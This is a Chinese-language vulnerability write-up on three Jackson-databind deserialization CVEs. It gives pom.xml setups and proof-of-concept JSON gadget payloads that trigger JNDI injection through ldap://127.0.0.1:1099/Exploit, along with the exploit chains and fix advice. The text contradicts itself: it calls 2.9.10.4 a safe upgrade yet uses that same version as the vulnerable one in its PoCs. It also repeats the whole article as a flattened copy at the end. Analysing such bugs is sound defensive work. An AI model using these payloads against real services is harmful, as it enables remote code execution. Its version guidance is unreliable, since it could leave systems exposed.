Jackson-databind的几个CVE
字数 1417 2025-08-25 22:59:09

Jackson-databind 反序列化漏洞分析

文章概述

本文详细分析 Jackson-databind 的三个 CVE 漏洞(CVE-2020-14060、CVE-2020-14062、CVE-2020-14195),包括漏洞影响范围、利用条件、复现方法、漏洞原理及修复建议。

CVE-2020-14060 漏洞分析

影响范围

  • jackson-databind before 2.9.10.4
  • jackson-databind before 2.8.11.6
  • jackson-databind before 2.7.9.7

利用条件

  1. 开启 enableDefaultTyping()
  2. 使用 org.apache.drill.exec:drill-jdbc-all 第三方依赖(版本需为1.4.0)

漏洞复现

pom.xml 配置

<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.9.10.4</version>
    </dependency>
    <dependency>
        <groupId>org.apache.drill.exec</groupId>
        <artifactId>drill-jdbc-all</artifactId>
        <version>1.4.0</version>
    </dependency>
    <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-nop</artifactId>
        <version>1.7.2</version>
    </dependency>
    <dependency>
        <groupId>javax.transaction</groupId>
        <artifactId>jta</artifactId>
        <version>1.1</version>
    </dependency>
</dependencies>

POC 代码

package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String payload = "[\"oadd.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1099/Exploit\"}]";
        try {
            Object obj = mapper.readValue(payload, Object.class);
            mapper.writeValueAsString(obj);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

漏洞原理

  1. 漏洞类:oadd.org.apache.xalan.lib.sql.JNDIConnectionPool
  2. 关键点:
    • 存在 setJndiPath 方法,反序列化时可被调用
    • getConnection() 方法在序列化时会被调用
    • getConnection() 会调用 findDatasource(),最终导致 JNDI 注入

利用链

mapper.readValue -> setJndiPath -> getConnection -> findDatasource -> context.lookup(this.jndiPath)

补丁分析

官方通过黑名单机制将 oadd.org.apache.xalan.lib.sql.JNDIConnectionPool 加入黑名单。

CVE-2020-14062 漏洞分析

影响范围

同 CVE-2020-14060

利用条件

  1. 开启 enableDefaultTyping()
  2. 使用 com.sun.xml.parsers:jaxp-ri 第三方依赖

漏洞复现

pom.xml 配置

<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.9.10.4</version>
    </dependency>
    <dependency>
        <groupId>com.sun.xml.parsers</groupId>
        <artifactId>jaxp-ri</artifactId>
        <version>1.4</version>
    </dependency>
    <!-- 其他依赖同上 -->
</dependencies>

POC 代码

String payload = "[\"com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1099/Exploit\"}]";

漏洞原理

  1. 漏洞类:com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool
  2. 利用方式与 CVE-2020-14060 类似

利用链

mapper.readValue -> setJndiPath -> getConnection -> findDatasource -> context.lookup(this.jndiPath)

CVE-2020-14195 漏洞分析

影响范围

同前两个漏洞

利用条件

  1. 开启 enableDefaultTyping()
  2. 使用 org.jsecurity.realm.jndi.JndiRealmFactory 第三方依赖(版本 0.9.0)

漏洞复现

pom.xml 配置

<dependency>
    <groupId>org.jsecurity</groupId>
    <artifactId>jsecurity</artifactId>
    <version>0.9.0</version>
</dependency>

POC 代码

String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\",{\"jndiNames\":\"ldap://127.0.0.1:1099/Exploit\"}]";

漏洞原理

  1. 漏洞类:org.jsecurity.realm.jndi.JndiRealmFactory
  2. 关键点:
    • setJndiNames 方法可被反序列化调用
    • getRealms 方法会触发 JNDI 查找

利用链

mapper.readValue -> setJndiNames -> getRealms -> lookup

通用修复建议

  1. 将 jackson-databind 升级到安全版本:

    • 2.9.10.4 或更高
    • 2.8.11.6 或更高
    • 2.7.9.7 或更高
  2. 升级到较高版本的 JDK(防止 JNDI 注入)

  3. 避免不必要的 enableDefaultTyping() 调用

  4. 定期检查项目依赖,移除不必要的第三方库

总结

这三个漏洞都是由于 Jackson-databind 反序列化时未对特定类进行有效限制,导致攻击者可以通过构造恶意 JSON 数据触发 JNDI 注入。官方主要通过黑名单机制修复,但这种方法存在被绕过的风险。开发者应当采取综合防护措施,包括升级组件、限制反序列化功能等。

Jackson-databind 反序列化漏洞分析 文章概述 本文详细分析 Jackson-databind 的三个 CVE 漏洞(CVE-2020-14060、CVE-2020-14062、CVE-2020-14195),包括漏洞影响范围、利用条件、复现方法、漏洞原理及修复建议。 CVE-2020-14060 漏洞分析 影响范围 jackson-databind before 2.9.10.4 jackson-databind before 2.8.11.6 jackson-databind before 2.7.9.7 利用条件 开启 enableDefaultTyping() 使用 org.apache.drill.exec:drill-jdbc-all 第三方依赖(版本需为1.4.0) 漏洞复现 pom.xml 配置 POC 代码 漏洞原理 漏洞类: oadd.org.apache.xalan.lib.sql.JNDIConnectionPool 关键点: 存在 setJndiPath 方法,反序列化时可被调用 getConnection() 方法在序列化时会被调用 getConnection() 会调用 findDatasource() ,最终导致 JNDI 注入 利用链 补丁分析 官方通过黑名单机制将 oadd.org.apache.xalan.lib.sql.JNDIConnectionPool 加入黑名单。 CVE-2020-14062 漏洞分析 影响范围 同 CVE-2020-14060 利用条件 开启 enableDefaultTyping() 使用 com.sun.xml.parsers:jaxp-ri 第三方依赖 漏洞复现 pom.xml 配置 POC 代码 漏洞原理 漏洞类: com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool 利用方式与 CVE-2020-14060 类似 利用链 CVE-2020-14195 漏洞分析 影响范围 同前两个漏洞 利用条件 开启 enableDefaultTyping() 使用 org.jsecurity.realm.jndi.JndiRealmFactory 第三方依赖(版本 0.9.0) 漏洞复现 pom.xml 配置 POC 代码 漏洞原理 漏洞类: org.jsecurity.realm.jndi.JndiRealmFactory 关键点: setJndiNames 方法可被反序列化调用 getRealms 方法会触发 JNDI 查找 利用链 通用修复建议 将 jackson-databind 升级到安全版本: 2.9.10.4 或更高 2.8.11.6 或更高 2.7.9.7 或更高 升级到较高版本的 JDK(防止 JNDI 注入) 避免不必要的 enableDefaultTyping() 调用 定期检查项目依赖,移除不必要的第三方库 总结 这三个漏洞都是由于 Jackson-databind 反序列化时未对特定类进行有效限制,导致攻击者可以通过构造恶意 JSON 数据触发 JNDI 注入。官方主要通过黑名单机制修复,但这种方法存在被绕过的风险。开发者应当采取综合防护措施,包括升级组件、限制反序列化功能等。